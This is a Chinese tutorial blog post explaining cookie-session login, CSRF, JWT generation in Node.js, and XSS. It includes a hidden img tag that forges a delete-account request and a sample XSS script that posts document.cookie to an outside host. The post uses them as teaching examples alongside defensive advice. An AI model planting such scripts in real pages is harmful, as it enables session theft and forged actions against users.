• JWT和CSRF攻击


    web服务中,用户输入用户名密码登入之后,后续访问网站的其他功能就不用再输入用户名和密码了。传统的身份校验机制为cookie-session机制:

    cookie-session机制

    • 用户浏览器访问web网站,输入用户名密码
    • 服务器校验用户名密码通过之后,生成sessonid并把sessionid和用户信息映射起来保存在服务器
    • 服务器将生成的sessionid返回给用户浏览器,浏览器将sessionid存入cookie
    • 此后用户对该网站发起的其他请求都将带上cookie中保存的sessionid
    • 服务端把用户传过来的sessionid和保存在服务器的sessionid做对比,如果服务器中有该sessionid则代表身份验证成功

    这种方式存在以下几个问题:

    • 代码安全机制不完善,可能存在CSRF漏洞
    • 服务端需要保存sessionid与客户端传来的sessionid做对比,当服务器为集群多机的情况下,需要复制sessionid,在多台集群机器之间共享
    • 如果需要单点登入,则须将sessionid存入redis等外部存储保证每台机器每个系统都能访问到,如果外部存储服务宕机,则单点登入失效

    CSRF攻击

    • 用户访问A网站(http://www.aaa.com),输入用户名密码
    • 服务器验证通过,生成sessionid并返回给客户端存入cookie
    • 用户在没有退出或者没有关闭A网站,cookie还未过期的情况下访问恶意网站B
    • B网站返回含有如下代码的html:
    //假设A网站注销用户的url为:https://www.aaa.com/delete_user
    <img src="https://www.aaa.com/delete_user" style="display:none;"/>
    
    • 浏览器发起对A网站的请求,并带上A网站的cookie,注销了用户

    JWT认证方式

    JWT全称 Json Web Token,是一个长字符串,由三部分组成:Header(头部)Payload(负载)Signature(签名)Header.Payload.Signature,用.分割各部分内容,看起来大概就像下面这样:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA

    生成过程如下:

    const crypto = require("crypto");
    const base64UrlEncode = require("base64url");
    //头部信息
    var header = {
        "alg": "HS256", //签名算法类型,默认是 HMAC SHA256(写成 HS256)
        "typ": "JWT" //令牌类型,JWT令牌统一为JWT
    };
    //负载信息,存储用户信息
    var payload = {
        "sub": "1234567890",
        "name": "xiao jie",
        "admin": true
    }
    //服务器秘钥,用于加密生成signature,不可泄漏
    var secret = "chaojidamantou";
    //header部分和payload部分
    var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload));
    //HMACSHA256加密算法
    function HMACSHA256(message, secret) {
        return crypto.createHmac('sha256', secret).update(message).digest("hex");
    }
    //生成签名信息
    var signature = HMACSHA256(message, secret);
    //header和payload部分内容默认不加密,也可以使用加密算法加密
    var JWT = message + "." + base64UrlEncode(signature);
    console.log(JWT);
    

    验证过程如下:

    • 用户访问网站,输入账号密码登入
    • 服务器校验通过,生成JWT,不保存JWT,直接返回给客户端
    • 客户端将JWT存入cookie或者localStorage
    • 此后用户发起的请求,都将使用js从cookie或者localStorage读取JWT放在http请求的header中,发给服务端
    • 服务端获取header中的JWT,用base64URL算法解码各部分内容,并在服务端用同样的秘钥和算法生成signature,与传过来的signature对比,验证JWT是否合法

    使用JWT验证,由于服务端不保存用户信息,不用做sessonid复制,这样集群水平扩展就变得容易了。同时用户发请求给服务端时,前端使用JS将JWT放在header中手动发送给服务端,服务端验证header中的JWT字段,而非cookie信息,这样就避免了CSRF漏洞攻击。

    不过,无论是cookie-session还是JWT,都存在被XSS攻击盗取的风险:

    XSS攻击

    跨站脚本攻击,其基本原理同sql注入攻击类似。页面上用来输入信息内容的输入框,被输入了可执行代码。假如某论坛网站有以下输入域用来输入帖子内容

    发帖内容:<textarea rows="3" cols="20"></textarea>
    

    而恶意用户在textarea发帖内容中填入诸如以下的js脚本:

    今天很开心,学会了JWT
    <script>
    $.ajax({
      type: "post",
      url: "https://www.abc.com/getcookie",
      data: {cookie : document.cookie}
    });
    </script>
    

    那么当其他用户访问该帖子的时候,用户的cookie就会被发送到abc域名的服务器上了。

    为了避免xss攻击,客户端和服务端都应该对提交数据进行xss攻击转义。



  • 相关阅读:
    AI趋势量化系统(Binance升级版)
    k8s集群部署mysql完整过程记录
    js网页禁止右键下载代码
    Cookie解码编码
    Display布局后端老鸟学前端(一)
    Position后端老鸟学前端(二)
    Linux 终端中命令输出保存到文件中的方法
    windows 安装 psutil库过程中遇到的问题
    Python psutil cpu_percent的使用方法
    DISK I/O数据
  • 原文地址:https://www.cnblogs.com/wuqiaoqun/p/13129562.html
Copyright © 2020-2023  润新知